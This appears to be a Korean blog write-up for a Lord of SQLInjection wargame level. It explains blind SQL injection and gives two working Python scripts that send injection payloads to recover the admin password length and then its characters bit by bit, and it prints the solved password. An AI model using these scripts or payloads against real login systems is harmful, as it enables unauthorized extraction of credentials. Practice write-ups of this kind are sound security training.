워게임/LORD OF SQLINJECTION

[LOS] Level 4(orc)

name2965 2022. 5. 3. 00:40
728x90

 

 

이번 문제는 id와 pw를 판별하는 전형적인 문제입니다.

 

그런데 이번에는 id를 판별하는것이 아닌 pw를 tabe에 있는 pw와 GET을 통해서 전달된 pw가

일치해야만 풀리는 문제입니다.

 

계속해서 분석해본 결과, 분기문 구조상 단순 쿼리문을 조작하는 것만으로는 조건이 성립할수 없습니다.

그러므로 이 DB에 있는 'admin'의 pw를 알아내서 직접 입력해야만 합니다.

 

그런데 DB를 직접적으로 조회하는것은 금지이므로 blind sql injection을 진행해서 비밀번호를 알아내야 합니다.

 

 

저는 python의 requests라는 모듈을 사용해서 blind sql injection을 구현해볼것입니다.

blind sql injection이란 간단히 말해서 DB의 정확한 구조를 모르더라도 쿼리문의 요청에 대해 반환한 참과 거짓으로 

DB의 대략적인 구조를 파악해나가는 공격을 말합니다.

 

import requests

url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
cookies = {'PHPSESSID': '자신의 쿠키값 입력'}

def find_pw_len(id):
    pw_len = 0
    while 1:
        pw_len = pw_len+1
        value = "' or id='{}' and length(pw)={} -- ".format(id,pw_len)
        params = {'pw': value}# pw에 Payload 코드 전달
        response = requests.get(url, params=params, cookies=cookies)
        print(response.status_code)
        print(value)
        if "Hello {}".format(id) in response.text:
            break
    return pw_len
   
if __name__ == '__main__':
    admin_len = find_pw_len("admin")
    print("admin의 pw 길이 : "+str(admin_len))

 

 

일단 우리는 필요한 column이 id와 pw라는 것을 알고있고 admin이라는 id의 pw를 알아내야하기 때문에

pw의 길이를 알아내는것이 관건입니다.

value는 sql injection이 유효한 쿼리문입니다. pw부분에 우선 임의의값을 입력하고 

그 후, or id = 'admin'을 통해서 식을 참으로 만든후 and length(pw)={} 을 하면

{}에 들어가는 숫자가 맞을 경우에만 Hello admin이 나오게 됩니다.

 

다음과 같은 프로그램을 작성해서 실행해보면

 

 

 

 

다음과 같이 admin의 pw길이는 8인것으로 나왔습니다.

참고로 첫번째로 출력되고있는 200은 http 상태 코드로, 200인 경우는 서버가 요청을 제대로 처리했다는 뜻입니다.

 

pw길이가 8인것을 알아냈으므로 이제 pw를 알아내야 합니다.

 

 

import requests

url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
cookies = {'PHPSESSID': '자신의 쿠키값 입력'}

def find_pw_len(id):
    pw_len = 0
    while 1:
        pw_len = pw_len+1
        value = "' or id='{}' and length(pw)={} -- ".format(id,pw_len)
        params = {'pw': value}# pw에 Payload 코드 전달
        response = requests.get(url, params=params, cookies=cookies)
        print(response.status_code)
        print(value)
        if "Hello {}".format(id) in response.text:
            break
    return pw_len

def find_pw_str(id, pw_len):
    pw_str = ""
    for len in range(1,pw_len+1):
        bincar=""
        for bit_index in range(1,9):
            value = "' or id='{}' and substr(lpad(bin(ascii(substr(pw,{},1))),8,0),{},1) = 1 -- ' ".format(id,len,bit_index)
            # pw를 len으로 substr한 후 ascii코드로 변환후 2진법으로 변환 그리고 lpad를 이용해서 8bit 채워줌. bit_index를 통해 bit 하나씩 체크
            params = {'pw':value}# pw에 Payload 코드 전달
            response = requests.get(url=url,params=params,cookies=cookies)
            if "Hello admin" in response.text: #참일 경우 1을 추가
                bincar += "1"
            else: #아닐 경우 0을 추가
                bincar += "0"
        print("중간비트값:" + bincar)
        pw_str += chr(int(bincar, 2))
        print("현재 패스워드" + pw_str) 
    return pw_str

if __name__ == '__main__':
    admin_len = find_pw_len("admin")
    print("admin의 pw 길이 : "+str(admin_len))
    print("admin의 pw : " + find_pw_str(id="admin",pw_len=admin_len))

 

 

파이썬을 잘몰라서 짜는데 시간이 조금 걸렸지만

여차저차 다음과 같은 파이썬 프로그램을 작성하고 실행하면

 

 

 

 

pw의 길이를 구한후 pw의 값을 하나하나 구해내는 방식으로 동작합니다.

 

결과값을 다음과 같은 쿼리문으로 보내면

 

pw=095a9852

 

 

 

 

 

 

다음과 같이 풀리는것을 확인할수 있습니다.

728x90

'워게임 > LORD OF SQLINJECTION' 카테고리의 다른 글

[LOS] Level 6(darkelf)  (0) 2022.05.03
[LOS] Level 5(wolfman)  (0) 2022.05.03
[LOS] Level 3(goblin)  (0) 2022.05.02
[LOS] Level 2(cobolt)  (0) 2022.05.02
[LOS] Level 1(gremlin)  (0) 2022.05.02